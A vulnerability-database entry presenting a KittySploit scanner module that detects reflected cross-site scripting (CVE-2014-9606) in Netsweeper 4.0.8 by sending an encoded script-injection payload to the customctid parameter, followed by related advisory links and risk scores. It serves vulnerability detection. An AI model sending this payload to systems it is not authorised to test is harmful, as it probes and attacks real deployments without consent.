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Netsweeper 4.0.8 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote XSS in Netsweeper via multiple parameters allows arbitrary web script injection.

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zdt
zdt
Netsweeper 4.0.8 - Multiple Vulnerabilities
13 Aug 201500:00
–zdt
cve
CVE
CVE-2014-9606
19 Feb 202019:37
–cve
cvelist
Cvelist
CVE-2014-9606
19 Feb 202019:37
–cvelist
euvd
EUVD
EUVD-2014-9419
7 Oct 202500:30
–euvd
nuclei
Nuclei
Netsweeper 4.0.8 - Cross-Site Scripting
19 Oct 202602:08
–nuclei
nvd
NVD
CVE-2014-9606
19 Feb 202020:15
–nvd
prion
Prion
Cross site scripting
19 Feb 202020:15
–prion
ptsecurity
Positive Technologies
PT-2020-7778
19 Feb 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2014-9606: Improper Neutralization of Input During Web Page Generation
19 Feb 202000:00
–rapid7
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Multiple cross-site scripting vulnerabilities in Netsweeper before 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Netsweeper 4.0.8 - Cross-Site Scripting Detection',
        'description': 'Multiple cross-site scripting vulnerabilities in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allow remote attackers to inject arbitrary web script or HTML via the (1) server parameter to remotereporter/load_logfiles.php, (2) customctid parameter to webadmin/policy/category_table_ajax.php, (3) urllist parameter to webadmin/alert/alert.php, (4) QUERY_STRING to webadmin/ajaxfilemanager/ajax_get_file_listing.php, or (5) PATH_INFO to webadmin/policy/policy_table_ajax.php/.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2014', 'netsweeper', 'xss', 'packetstorm', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz',
            'https://nvd.nist.gov/vuln/detail/CVE-2014-9606',
            'http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2014-9606',
    }

    def run(self):
        r = self.http_request(method="GET", path='/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('</script><script>alert(document.domain)</script>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="Netsweeper 4.0.8 - Cross-Site Scripting detected",
                path='/webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.04156
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